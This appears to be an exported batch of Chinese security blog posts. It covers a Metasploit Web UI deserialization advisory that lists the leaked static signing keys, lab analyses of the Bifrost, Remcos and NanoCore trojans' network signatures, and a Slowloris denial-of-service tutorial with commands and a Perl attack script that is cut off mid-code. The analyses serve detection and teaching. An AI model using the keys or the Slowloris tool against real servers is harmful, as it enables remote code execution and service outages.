OVE-20160904-0001\u003c/p\u003e\n\u003cp\u003e私有披露日期: 2016-09-04\u003c/p\u003e\n\u003cp\u003e公开披露日期: 2016-09-19\u003c/p\u003e\n\u003cp\u003e厂商公告   : \u003ca href=\"https://community.rapid7.com/community/metasploit/blog/2016/09/15/important-security-fixes-in-metasploit-4120-2016091401\"\u003ehttps://community.rapid7.com/community/metasploit/blog/2016/09/15/important-security-fixes-in-metasploit-4120-2016091401\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e影响的版本 : Metasploit 4.12.0-2016061501 到 4.12.0-2016083001\u003c/p\u003e\n\u003ch3 id=\"漏洞描述\"\u003e漏洞描述\u003c/h3\u003e\n\u003cp\u003eMetasploit作为一个安全测试框架，里面集成了非常多的功能，比如msfconsole，msfvenom等，并且也提供了非常多的接口和界面，比如shell接口，Windows GUI页面，WEB UI页面等等。而这次的问题主要是出在WEB接口上。MSF Community, Express 和 Pro 版本的 Web UI在4.12.0-2016061501至4.12.0-2016083001版本中的config.action_dispatch.cookies_serializer 值设置为 :hybrid，并且引入了hybrid cookie序列化，这将允许反序列化JSON和Marshal序列化的cookies。直到Metasploit 4.12.0-2016091401，才将其值设置为:json。也就是说，只要cookie序列化设置为Marshal或hybird时，并且攻击者知道cookie signing key的值，那么攻击者就可以构造cookie，触发Marshal反序列化，实现任意代码执行。\u003c/p\u003e\n\u003ch3 id=\"参考\"\u003e参考\u003c/h3\u003e\n\u003cp\u003e[0] \u003ca href=\"http://blog.bigbinary.com/2014/12/23/migrating-existing-session-cookies-while-upgrading-to-rails-4-1-and-above.html\"\u003ehttp://blog.bigbinary.com/2014/12/23/migrating-existing-session-cookies-while-upgrading-to-rails-4-1-and-above.html\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e[1] \u003ca href=\"https://www.rapid7.com/db/modules/exploit/multi/http/rails_secret_deserialization\"\u003ehttps://www.rapid7.com/db/modules/exploit/multi/http/rails_secret_deserialization\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"漏洞二metasploit本周发布了静态的secret_key_base这个将会导致远程命令执行代码\"\u003e漏洞二：Metasploit本周发布了静态的secret_key_base，这个将会导致远程命令执行代码\u003c/h2\u003e\n\u003ch3 id=\"漏洞信息-1\"\u003e漏洞信息\u003c/h3\u003e\n\u003cp\u003eOVE ID: OVE-20160904-0002\u003c/p\u003e\n\u003cp\u003e私有披露日期: 2016-09-04\u003c/p\u003e\n\u003cp\u003e公开披露日期: 2016-09-19\u003c/p\u003e\n\u003cp\u003e厂商公告   : \u003ca href=\"https://community.rapid7.com/community/metasploit/blog/2016/09/15/important-security-fixes-in-metasploit-4120-2016091401\"\u003ehttps://community.rapid7.com/community/metasploit/blog/2016/09/15/important-security-fixes-in-metasploit-4120-2016091401\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e影响的版本 : Metasploit 4.12.0-2016061501 到 4.12.0-2016083001\u003c/p\u003e\n\u003ch3 id=\"漏洞描述-1\"\u003e漏洞描述\u003c/h3\u003e\n\u003cp\u003e通过第一个漏洞，我们已经可以确定cookie序列化设置为hybird，但是攻击者还必须知道cookie signing key的值才可以构造cookie，实现远程代码执行。非常不幸的是，MSF WEB UI中的secret_key_base是静态的，并且该值是公开的。以下是目前已知受影响的MSF的值：\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e4.12.0-2016061501版本：d25e9ad8c9a1558a6864bc38b1c79eafef479ccee5ad0b4b2ff6a917cd8db4c6b80d1bf1ea960f8ef922ddfebd4525fcff253a18dd78a18275311d45770e5c9103fc7b639ecbd13e9c2dbba3da5c20ef2b5cbea0308acfc29239a135724ddc902ccc6a378b696600a1661ed92666ead9cdbf1b684486f5c5e6b9b13226982dd7\u003c/p\u003e\n\u003cp\u003e4.12.0-2016062101版本：99988ff528cc0e9aa0cc52dc97fe1dd1fcbedb6df6ca71f6f5553994e6294d213fcf533a115da859ca16e9190c53ddd5962ddd171c2e31a168fb8a8f3ef000f1a64b59a4ea3c5ec9961a0db0945cae90a70fd64eb7fb500662fc9e7569c90b20998adeca450362e5ca80d0045b6ae1d54caf4b8e6d89cc4ebef3fd4928625bfc\u003c/p\u003e\n\u003cp\u003e4.12.0-2016072501版本：446db15aeb1b4394575e093e43fae0fc8c4e81d314696ac42599e53a70a5ebe9c234e6fa15540e1fc3ae4e99ad64531ab10c5a4deca10c20ba6ce2ae77f70e7975918fbaaea56ed701213341be929091a570404774fd65a0c68b2e63f456a0140ac919c6ec291a766058f063beeb50cedd666b178bce5a9b7e2f3984e37e8fde\u003c/p\u003e\n\u003cp\u003e4.12.0-2016081001版本：61c64764ca3e28772bddd3b4a666d5a5611a50ceb07e3bd5847926b0423987218cfc81468c84a7737c23c27562cb9bf40bc1519db110bf669987c7bb7fd4e1850f601c2bf170f4b75afabf86d40c428e4d103b2fe6952835521f40b23dbd9c3cac55b543aef2fb222441b3ae29c3abbd59433504198753df0e70dd3927f7105a\u003c/p\u003e\n\u003cp\u003e4.12.0-2016081201版本：23bbd1fdebdc5a27ed2cb2eea6779fdd6b7a1fa5373f5eeb27450765f22d3f744ad76bd7fbf59ed687a1aba481204045259b70b264f4731d124828779c99d47554c0133a537652eba268b231c900727b6602d8e5c6a73fe230a8e286e975f1765c574431171bc2af0c0890988cc11cb4e93d363c5edc15d5a15ec568168daf32\u003c/p\u003e\n\u003cp\u003e4.12.0-2016083001版本：18edd3c0c08da473b0c94f114de417b3cd41dace1dacd67616b864cbe60b6628e8a030e1981cef3eb4b57b0498ad6fb22c24369edc852c5335e27670220ea38f1eecf5c7bb3217472c8df3213bc314af30be33cd6f3944ba524c16cafb19489a95d969ada268df37761c0a2b68c0eeafb1355a58a9a6a89c9296bfd606a79615\u003c/p\u003e","title":"Metasploit曝远程代码执行漏洞：别惹我，我疯起来连自己都黑"},{"content":"样本来源 http://www.aljyyosh.com 样本类型 BDS.Bifrose.aec 分析时间 2016-9-20 运行环境 控制端：Windows7 x64 木马端：Windows XP\n分析目的 找出木马与控制端通信的特征码\n分析过程 (1) 配置木马端\n图1-配置木马\n1. 木马端默认配置使用81端口，也可自行更改为其他端口。 2. 可同时设置多个不同的服务端地址，也可以使用Scoks4代理的方式上线。 3. 其他设置，配置过程中还可配置木马安装目录、注册表键值、离线键盘记录等功能。 4. 点击Build完成创建客户端。 (2) 安装木马端 1. 在主机1（IP：10.0.3.160）上打开控制端，安装生成的木马样本（server.exe）到主机2（IP：10.0.3.153）. 2. 在主机1上开启Wireshark抓取主机1与主机2之间的通信数据. 3. 在主机2上双击安装木马样本。\n(3) 开始分析 1. 进程监视，样本安装后通过进程管理器可以看到，系统会生成进程名为server.exe的新进程，同时会进行镜像加载、查询本机注册表等一系列操作,上述操作完毕后，木马端会自动关闭进程。如下图：\n图2-进程监视\n2. 木马端安装后会在配置木马端时选择的安装目录（默认目录为C:\\Program Files）下创建Bifrost文件夹并生成一个新的server.exe文件。如图：\n图3-默认安装目录\n3. 通过对主机1和主机2之间通信的数据包分析可发现，木马端在主机2上安装后，打开一个随机端口主动连接控制端81端口。如下图：\n图4-连接端口\n4. 在控制端打开文件管理功能，尝试打开文件夹、删除文件等其他操作后查看抓取的数据包。如图：\n图5-文件管理功能\n经过多次抓包对比分析后，确认样本该控制端的通信特征为：00 00 00 2a 3d ba 1a.如下图：\n图6-通信特征\n5. 关闭控制端断开与木马端的连接，继续抓包，统计后发现若控制端未打开，木马上线后连接请求频率约12秒一次。如下图：\n图7-木马端连接请求\n6. 配置木马端时改变连接密码再重复以上操作，抓包分析发现，改变连接密码后通信特征码不变。若控制端连接密码错误，则木马端随机使用一端口号连接控制端81端口，大约每隔11秒，端口号+2并再次尝试连接控制端。如下图：\n图8-连接密码错误时的连接请求\n数据记录和计算 无\n结 论\n1. 样本数据特征: 0000002a3dba1a 2. 默认配置下被控端主动连接控制端81端口（端口可更改） 3. 木马上线连接请求频率约12秒一次。 4. 木马端安装后会在安装目录（默认目录为C:\\Program Files）下创建Bifrost文件夹并生成一个新的server.exe文件\n","permalink":"https://www.lucien116.com/archives/131/","summary":"\u003cp\u003e\u003cstrong\u003e样本来源\u003c/strong\u003e \u003ca href=\"http://www.aljyyosh.com\"\u003ehttp://www.aljyyosh.com\u003c/a\u003e                 \u003cstrong\u003e样本类型\u003c/strong\u003e BDS.Bifrose.aec\n\u003cstrong\u003e分析时间\u003c/strong\u003e 2016-9-20 运行环境                          \u003cstrong\u003e控制端\u003c/strong\u003e：Windows7 x64  \u003cstrong\u003e木马端\u003c/strong\u003e：Windows XP\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e分析目的\u003c/strong\u003e    找出木马与控制端通信的特征码\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e分析过程\u003c/strong\u003e \u003cstrong\u003e(1) 配置木马端\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"111\" loading=\"lazy\" src=\"/wp-content/uploads/2016/09/111.png\"\u003e   图1-配置木马\u003c/p\u003e\n\u003cp\u003e1. 木马端默认配置使用81端口，也可自行更改为其他端口。\n2. 可同时设置多个不同的服务端地址，也可以使用Scoks4代理的方式上线。\n3. 其他设置，配置过程中还可配置木马安装目录、注册表键值、离线键盘记录等功能。\n4. 点击Build完成创建客户端。\n\u003cstrong\u003e(2) 安装木马端\u003c/strong\u003e\n1. 在主机1（IP：10.0.3.160）上打开控制端，安装生成的木马样本（server.exe）到主机2（IP：10.0.3.153）.\n2. 在主机1上开启Wireshark抓取主机1与主机2之间的通信数据.\n3. 在主机2上双击安装木马样本。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e(3) 开始分析\u003c/strong\u003e\n1. 进程监视，样本安装后通过进程管理器可以看到，系统会生成进程名为server.exe的新进程，同时会进行镜像加载、查询本机注册表等一系列操作,上述操作完毕后，木马端会自动关闭进程。如下图：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"222\" loading=\"lazy\" src=\"/wp-content/uploads/2016/09/222.png\"\u003e\u003cimg alt=\"2221\" loading=\"lazy\" src=\"/wp-content/uploads/2016/09/2221.png\"\u003e图2-进程监视\u003c/p\u003e\n\u003cp\u003e2. 木马端安装后会在配置木马端时选择的安装目录（默认目录为C:\\Program Files）下创建Bifrost文件夹并生成一个新的server.exe文件。如图：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"333\" loading=\"lazy\" src=\"/wp-content/uploads/2016/09/333.png\"\u003e\u003c/p\u003e\n\u003cp\u003e图3-默认安装目录\u003c/p\u003e\n\u003cp\u003e3. 通过对主机1和主机2之间通信的数据包分析可发现，木马端在主机2上安装后，打开一个随机端口主动连接控制端81端口。如下图：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"444\" loading=\"lazy\" src=\"/wp-content/uploads/2016/09/444.png\"\u003e 图4-连接端口\u003c/p\u003e\n\u003cp\u003e4. 在控制端打开文件管理功能，尝试打开文件夹、删除文件等其他操作后查看抓取的数据包。如图：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"555\" loading=\"lazy\" src=\"/wp-content/uploads/2016/09/555.png\"\u003e图5-文件管理功能\u003c/p\u003e\n\u003cp\u003e经过多次抓包对比分析后，确认样本该控制端的通信特征为：00 00 00 2a 3d ba 1a.如下图：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"666\" loading=\"lazy\" src=\"/wp-content/uploads/2016/09/666.png\"\u003e\u003cimg alt=\"6661\" loading=\"lazy\" src=\"/wp-content/uploads/2016/09/6661.png\"\u003e\u003c/p\u003e\n\u003cp\u003e图6-通信特征\u003c/p\u003e\n\u003cp\u003e5. 关闭控制端断开与木马端的连接，继续抓包，统计后发现若控制端未打开，木马上线后连接请求频率约12秒一次。如下图：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"777\" loading=\"lazy\" src=\"/wp-content/uploads/2016/09/777.png\"\u003e\u003c/p\u003e\n\u003cp\u003e图7-木马端连接请求\u003c/p\u003e\n\u003cp\u003e6. 配置木马端时改变连接密码再重复以上操作，抓包分析发现，改变连接密码后通信特征码不变。若控制端连接密码错误，则木马端随机使用一端口号连接控制端81端口，大约每隔11秒，端口号+2并再次尝试连接控制端。如下图：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"888\" loading=\"lazy\" src=\"/wp-content/uploads/2016/09/888.png\"\u003e\u003c/p\u003e\n\u003cp\u003e图8-连接密码错误时的连接请求\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e数据记录和计算\u003c/strong\u003e   无\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e结 论\u003c/strong\u003e\u003c/p\u003e","title":"Bifrost1.2.1d远控木马样本分析报告"},{"content":"样本来源http://Breaking-Security.net样本类型Win32.Backdoor.Remcos.Agba分析时间2016-9-7运行环境Windows7 x64分析目的找出木马被控端与控制端通信的特征码分析过程(1) 配置木马端\n图1-配置木马\n1. 木马端默认配置使用2404端口，也可自行更改为其他端口。\n2. 可设置上线密码，默认密码为pass。\n3. 其他设置，配置过程中可设置后门安装目录，键盘记录等其他功能，部分功能需要升级到专业版才能使用，如图2。\n图2-安装设置\n4. 选择压缩方式后点击Builde,完成创建。如下图\n图3-生成木马样本\n(2) 安装木马样本\n1. 在主机1（IP：10.0.3.154）上打开控制端，安装生成的木马样本（Backdoor.exe）到主机2（IP：10.0.3.159）.\n2. 在主机1上开启Wireshark抓取主机1与主机2之间的通信数据，同时在主机2上打开进程监控工具。\n3. 在主机2上双击安装木马样本。\n(3) 开始分析\n进程监视，样本安装后通过进程监视器可以看到，系统会生成进程名为Backdoor.exe的新进程，同时会进行镜像加载、查询注册表键值等一系列操作。如图4：\n图4-进程监视\n通过对主机1和主机2之间通信的数据包分析可发现，木马端在主机2上安装后，打开一个随机端口主动连接控制端2404端口。如图5：\n图5-连接端口\n3. 样本采用未知编码方式加密，从通信数据流中可以看出使用默认密码时样本通信特征码为：1b84d5b05df4c493c530c2. 如图6：\n图6-通信特征\n若配置样本时不使用默认密码（自定义连接密码为123456），通过wrieshark抓包分析，特征值改变，如图7：\n图7-修改连接密码后的特征值\n5. 统计后发现若控制端未打开，木马上线后连接请求频率约6秒一次。\n数据记录\n和计算无结 论1. 使用默认密码时的样本数据特征: 1b84d5b05df4c493c530c2\n2. 样本特征值会随配置时设置连接密码的不同而改变\n3. 默认配置下木马端主动连接控制端TCP2404端口（端口可更改）\n4. 木马上线连接请求频率约5秒一次。\n","permalink":"https://www.lucien116.com/archives/122/","summary":"\u003cp\u003e样本来源http://Breaking-Security.net样本类型Win32.Backdoor.Remcos.Agba分析时间2016-9-7运行环境Windows7 x64分析目的找出木马被控端与控制端通信的特征码分析过程(1)\n配置木马端\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"3\" loading=\"lazy\" src=\"/wp-content/uploads/2016/09/3-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e图1-配置木马\u003c/p\u003e\n\u003cp\u003e1.       木马端默认配置使用2404端口，也可自行更改为其他端口。\u003c/p\u003e\n\u003cp\u003e2.       可设置上线密码，默认密码为pass。\u003c/p\u003e\n\u003cp\u003e3.       其他设置，配置过程中可设置后门安装目录，键盘记录等其他功能，部分功能需要升级到专业版才能使用，如图2。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"2\" loading=\"lazy\" src=\"/wp-content/uploads/2016/09/2-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e图2-安装设置\u003c/p\u003e\n\u003cp\u003e4.       选择压缩方式后点击Builde,完成创建。如下图\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"3\" loading=\"lazy\" src=\"/wp-content/uploads/2016/09/3-1.png\"\u003e\n图3-生成木马样本\u003c/p\u003e\n\u003cp\u003e(2)    安装木马样本\u003c/p\u003e\n\u003cp\u003e1.       在主机1（IP：10.0.3.154）上打开控制端，安装生成的木马样本（Backdoor.exe）到主机2（IP：10.0.3.159）.\u003c/p\u003e\n\u003cp\u003e2.       在主机1上开启Wireshark抓取主机1与主机2之间的通信数据，同时在主机2上打开进程监控工具。\u003c/p\u003e\n\u003cp\u003e3.       在主机2上双击安装木马样本。\u003c/p\u003e\n\u003cp\u003e(3)    开始分析\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e进程监视，样本安装后通过进程监视器可以看到，系统会生成进程名为Backdoor.exe的新进程，同时会进行镜像加载、查询注册表键值等一系列操作。如图4：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"4\" loading=\"lazy\" src=\"/wp-content/uploads/2016/09/4-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e图4-进程监视\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e通过对主机1和主机2之间通信的数据包分析可发现，木马端在主机2上安装后，打开一个随机端口主动连接控制端2404端口。如图5：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"5\" loading=\"lazy\" src=\"/wp-content/uploads/2016/09/5-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e图5-连接端口\u003c/p\u003e\n\u003cp\u003e3.       样本采用未知编码方式加密，从通信数据流中可以看出使用默认密码时样本通信特征码为：1b84d5b05df4c493c530c2. 如图6：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"6\" loading=\"lazy\" src=\"/wp-content/uploads/2016/09/6.png\"\u003e\n图6-通信特征\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e若配置样本时不使用默认密码（自定义连接密码为123456），通过wrieshark抓包分析，特征值改变，如图7：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"7\" loading=\"lazy\" src=\"/wp-content/uploads/2016/09/7.png\"\u003e\u003c/p\u003e\n\u003cp\u003e图7-修改连接密码后的特征值\u003c/p\u003e\n\u003cp\u003e5.       统计后发现若控制端未打开，木马上线后连接请求频率约6秒一次。\u003c/p\u003e\n\u003cp\u003e 数据记录\u003c/p\u003e\n\u003cp\u003e和计算无结  论1.  使用默认密码时的样本数据特征: 1b84d5b05df4c493c530c2\u003c/p\u003e\n\u003cp\u003e2.  样本特征值会随配置时设置连接密码的不同而改变\u003c/p\u003e\n\u003cp\u003e3.  默认配置下木马端主动连接控制端TCP2404端口（端口可更改）\u003c/p\u003e\n\u003cp\u003e4.  木马上线连接请求频率约5秒一次。\u003c/p\u003e","title":"Ramcos远控木马样本分析报告"},{"content":"样本来源https://nanocore.io/样本类型TR.Dropper.MSIL.GEN7分析时间2016-9-7运行环境Windows7 x64分析目的找出木马被控端与控制端通信的特征码分析过程(1) 配置木马端\n图1-配置木马 1. 木马端默认配置使用54984端口，也可自行更改为其他端口。\n2. 可同时设置两个不同的服务端地址，其中一个为备用地址。\n3. 其他设置，配置过程中还可设置客户端DNS服务地址，打开键盘记录等其他功能。\n4. 点击Compile完成创建客户端。\n(2) 安装客户端\n1. 在主机1（IP：10.0.3.154）上打开控制端，安装生成的木马样本（nano.exe）到主机2（IP：10.0.3.159）.\n2. 在主机1上开启Wireshark抓取主机1与主机2之间的通信数据，同时在主机2上打开进程监控工具。\n3. 在主机2上双击安装木马样本。\n(3) 开始分析\n1. 进程监视，样本安装后通过进程监视器可以看到，系统会生成进程名为nano.exe的新进程，同时会进行镜像加载、查询本机注册表等一系列操作。如下图： 图2-进程监视\n2. 通过对主机1和主机2之间通信的数据包分析可发现，木马端在主机2上安装后，打开一个随机端口主动连接控制端54984端口。如下图： 图3-连接端口\n3. 样本采用未知编码方式加密，从通信数据流中可以看出样本通信特征码为：08000000c1c3d0324359a178. 如下图：\n图4-通信特征\n4. 统计后发现若控制端未打开，木马上线后连接请求频率约5秒一次数据记录\n和计算无结 论1. 样本数据特征: 08000000c1c3d0324359a178\n2. 默认配置下被控端主动连接控制端TCP54984端口（端口可更改）\n3. 木马上线连接请求频率约5秒一次。\n","permalink":"https://www.lucien116.com/archives/113/","summary":"\u003cp\u003e样本来源https://nanocore.io/样本类型TR.Dropper.MSIL.GEN7分析时间2016-9-7运行环境Windows7 x64分析目的找出木马被控端与控制端通信的特征码分析过程(1)    配置木马端\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"1\" loading=\"lazy\" src=\"/wp-content/uploads/2016/09/1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e图1-配置木马\n1.       木马端默认配置使用54984端口，也可自行更改为其他端口。\u003c/p\u003e\n\u003cp\u003e2.       可同时设置两个不同的服务端地址，其中一个为备用地址。\u003c/p\u003e\n\u003cp\u003e3.       其他设置，配置过程中还可设置客户端DNS服务地址，打开键盘记录等其他功能。\u003c/p\u003e\n\u003cp\u003e4.       点击Compile完成创建客户端。\u003c/p\u003e\n\u003cp\u003e(2)    安装客户端\u003c/p\u003e\n\u003cp\u003e1.       在主机1（IP：10.0.3.154）上打开控制端，安装生成的木马样本（nano.exe）到主机2（IP：10.0.3.159）.\u003c/p\u003e\n\u003cp\u003e2.       在主机1上开启Wireshark抓取主机1与主机2之间的通信数据，同时在主机2上打开进程监控工具。\u003c/p\u003e\n\u003cp\u003e3.       在主机2上双击安装木马样本。\u003c/p\u003e\n\u003cp\u003e(3)    开始分析\u003c/p\u003e\n\u003cp\u003e1.       进程监视，样本安装后通过进程监视器可以看到，系统会生成进程名为nano.exe的新进程，同时会进行镜像加载、查询本机注册表等一系列操作。如下图：\n\u003cimg alt=\"2\" loading=\"lazy\" src=\"/wp-content/uploads/2016/09/2.png\"\u003e\u003cimg alt=\"3\" loading=\"lazy\" src=\"/wp-content/uploads/2016/09/3.png\"\u003e\u003c/p\u003e\n\u003cp\u003e图2-进程监视\u003c/p\u003e\n\u003cp\u003e2.       通过对主机1和主机2之间通信的数据包分析可发现，木马端在主机2上安装后，打开一个随机端口主动连接控制端54984端口。如下图：\n\u003cimg alt=\"4\" loading=\"lazy\" src=\"/wp-content/uploads/2016/09/4.png\"\u003e\u003c/p\u003e\n\u003cp\u003e图3-连接端口\u003c/p\u003e\n\u003cp\u003e3.       样本采用未知编码方式加密，从通信数据流中可以看出样本通信特征码为：08000000c1c3d0324359a178. 如下图：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"5\" loading=\"lazy\" src=\"/wp-content/uploads/2016/09/5.png\"\u003e\u003c/p\u003e\n\u003cp\u003e图4-通信特征\u003c/p\u003e\n\u003cp\u003e4.       统计后发现若控制端未打开，木马上线后连接请求频率约5秒一次数据记录\u003c/p\u003e\n\u003cp\u003e和计算无结  论1.  样本数据特征: 08000000c1c3d0324359a178\u003c/p\u003e\n\u003cp\u003e2.  默认配置下被控端主动连接控制端TCP54984端口（端口可更改）\u003c/p\u003e\n\u003cp\u003e3.  木马上线连接请求频率约5秒一次。\u003c/p\u003e","title":"NanoCore远控木马样本分析"},{"content":"原文地址： 浅谈Slowloris拒绝服务攻击 作者： xcgsnowdrop\nDDOS又称为分布式拒绝服务，全称是Distributed Denial of Service。DDOS本是利用合理的请求造成资源过载，导致服务不可用。比如一个停车场共有100车位，当100车位都停满后，再有车想要停进来，就必须等待已有的车先出去才行。如果已有的车一直不出去，那么停车场的入口就会排气长队，停车场的负荷过载，不能正常工作了，这种情况就是“拒绝服务”。\n常见的DDOS攻击有SYN flood、UDP flood、ICMP flood等。其中SYN flood是一种最为经典的DDOS攻击。其利用的是TCP协议设计中的缺陷，此处先避开不谈。\nSlowloris攻击则是利用Web Server的漏洞或设计缺陷，直接造成拒绝服务。下面通过一个典型示例分析slowloris的拒绝服务攻击本质。\nSlowloris是在2009年由著名Web安全专家RSnake提出的一种攻击方法，其原理是以极低的速度往服务器发送HTTP请求。由于Web Server对于并发的连接数都有一定的上限，因此若是恶意地占用住这些连接不释放，那么Web Server的所有连接都将被恶意连接占用，从而无法接受新的请求，导致拒绝服务。\n要保持住这个连接，RSnake构造了一个畸形的HTTP请求，准确地说，是一个不完整的HTTP请求。\nGET / HTTP/1.1\\r\\n\nHOST: host\\r\\n\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\\r\\n\nContent-Length: 42\\r\\n\n在正常的HTTP包头中，是以两个CLRF表示HTTP Headers部分结束的。\n由于Web Server只收到了一个\\r\\n，因此将认为HTTP Headers部分没有结束，并保持此连接不释放，继续等待完整的请求。此时客户端再发送任意HTTP头，保持住连接即可。\nX-a: b\\r\\n\n当构造多个连接后，服务器的连接数很快就会达到上限。在Slowloris的专题网站上可以下载到POC演示程序，其核心代码置于文章底部，记为slowloris.pl），下面开始使用该脚本工具演示如何使用slowloris攻击使Web Server拒绝服务：\n一，准备工作\n1.在本机安装配置好Apache2.x，设置MaxClients为50\n2.在Browser中访问http://127.0.0.1，结果显示正常\n3.下载或编写slowloris.pl脚本\n二，开始阶段\n1.测试每个http连接等待超时时间，前面我们说过，当Web Server只收到了一个\\r\\n时，因将其认为HTTP Headers部分尚未结束，故会保持此连接不释放，继续等待完整的请求，此处测试的即为该连接等待完整请求的超时时间。\nperl slowloris.pl -dns 127.0.0.1 -port 80 -test\nDefaulting to a 5 second tcp connection timeout.\nMultithreading enabled.\nThis test could take up to 14.3666666666667 minutes.\nConnection successful, now comes the waiting game\u0026hellip;\nTrying a 2 second delay:\nWorked.\nTrying a 30 second delay:\nWorked.\nTrying a 90 second delay:\nWorked.\nTrying a 240 second delay:\nWorked.\n……\n注：若该等待超时时间太小(\u0026lt;166)，则使用slowloris对该目标进行攻击可能会出现麻烦\n2.正式开始发送不完整请求，攻击Web Server使其拒绝服务。注：因此处我们已将Apache的MaxClients设置为50，故此处使用100个不完整连接已足够。\nperl slowloris.pl -dns 127.0.0.1 -port 80 -timeout 200 -num 100\nDefaulting to a 5 second tcp connection timeout.\nMultithreading enabled.\nConnecting to 127.0.0.1:80 every 200 seconds with 100 sockets:\nBuilding sockets.\nBuilding sockets.\nSending data.\nCurrent stats: Slowloris has now sent 294 packets successfully.\nThis thread now sleeping for 200 seconds\u0026hellip;\nSending data.\n……\n三，验证结果\n使用chrome或firefox并打开其debug工具，继续访问http://127.0.0.1，则可发型在HttpRequest发出去后，HttpResponse一直没有收到，出于等待状态。\n总结：在该案例中，“有限”的资源是Web Server的连接数。这是一个有上限的值，比如在Apache中这个值由MaxClients定义。如果恶意客户端可以无限制地将连接数占满，就完成了对有限资源的恶意消耗，导致拒绝服务。\n在Slowloris发布之前，也曾有人意识到这一问题，但Apache官方否认Slowloris的攻击方式是一个漏洞，他们认为这是Web Server的一种特性，通过调整参数能够缓解此类问题，这使得Slowloris攻击今天仍然很有效。\n【注：本文引用了“白帽子讲Web安全”部分定义内容，slowloris脚本则在网络上有成熟和一直在维护的版本下载】\n点击(此处)折叠或打开\n#!/usr/bin/perl -w use strict; use IO::Socket::INET; use IO::Socket::SSL; use Getopt::Long; use Config; $SIG{\u0026lsquo;PIPE\u0026rsquo;} = \u0026lsquo;IGNORE\u0026rsquo;; #Ignore broken pipe errors my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections ); my ( $cache, $httpready, $method, $ssl, $rand, $tcpto ); my $result = GetOptions( \u0026lsquo;shost=s\u0026rsquo; =\u0026gt; $shost, \u0026lsquo;dns=s\u0026rsquo; =\u0026gt; $host, \u0026lsquo;httpready\u0026rsquo; =\u0026gt; $httpready, \u0026rsquo;num=i\u0026rsquo; =\u0026gt; $connections, \u0026lsquo;cache\u0026rsquo; =\u0026gt; $cache, \u0026lsquo;port=i\u0026rsquo; =\u0026gt; $port, \u0026lsquo;https\u0026rsquo; =\u0026gt; $ssl, \u0026rsquo;tcpto=i\u0026rsquo; =\u0026gt; $tcpto, \u0026rsquo;test\u0026rsquo; =\u0026gt; $test, \u0026rsquo;timeout=i\u0026rsquo; =\u0026gt; $timeout, \u0026lsquo;version\u0026rsquo; =\u0026gt; $version, ); if ($version) { print \u0026ldquo;Version 0.7n\u0026rdquo;; exit; } unless ($host) { print \u0026ldquo;Usage:nntperl $0 -dns [www.example.com] -optionsn\u0026rdquo;; print \u0026ldquo;ntType \u0026lsquo;perldoc $0\u0026rsquo; for help with options.nn\u0026rdquo;; exit; } unless ($port) { $port = 80; print \u0026ldquo;Defaulting to port 80.n\u0026rdquo;; } unless ($tcpto) { $tcpto = 5; print \u0026ldquo;Defaulting to a 5 second tcp connection timeout.n\u0026rdquo;; } unless ($test) { unless ($timeout) { $timeout = 100; print \u0026ldquo;Defaulting to a 100 second re-try timeout.n\u0026rdquo;; } unless ($connections) { $connections = 1000; print \u0026ldquo;Defaulting to 1000 connections.n\u0026rdquo;; } } my $usemultithreading = 0; if ( $Config{usethreads} ) { print \u0026ldquo;Multithreading enabled.n\u0026rdquo;; $usemultithreading = 1; use threads; use threads::shared; } else { print \u0026ldquo;No multithreading capabilites found!n\u0026rdquo;; print \u0026ldquo;Slowloris will be slower than normal as a result.n\u0026rdquo;; } my $packetcount : shared = 0; my $failed : shared = 0; my $connectioncount : shared = 0; srand() if ($cache); if ($shost) { $sendhost = $shost; } else { $sendhost = $host; } if ($httpready) { $method = \u0026ldquo;POST\u0026rdquo;; } else { $method = \u0026ldquo;GET\u0026rdquo;; } if ($test) { my @times = ( \u0026ldquo;2\u0026rdquo;, \u0026ldquo;30\u0026rdquo;, \u0026ldquo;90\u0026rdquo;, \u0026ldquo;240\u0026rdquo;, \u0026ldquo;500\u0026rdquo; ); my $totaltime = 0; foreach (@times) { $totaltime = $totaltime + $_; } $totaltime = $totaltime / 60; print \u0026ldquo;This test could take up to $totaltime minutes.n\u0026rdquo;; my $delay = 0; my $working = 0; my $sock; if ($ssl) { if ( $sock = 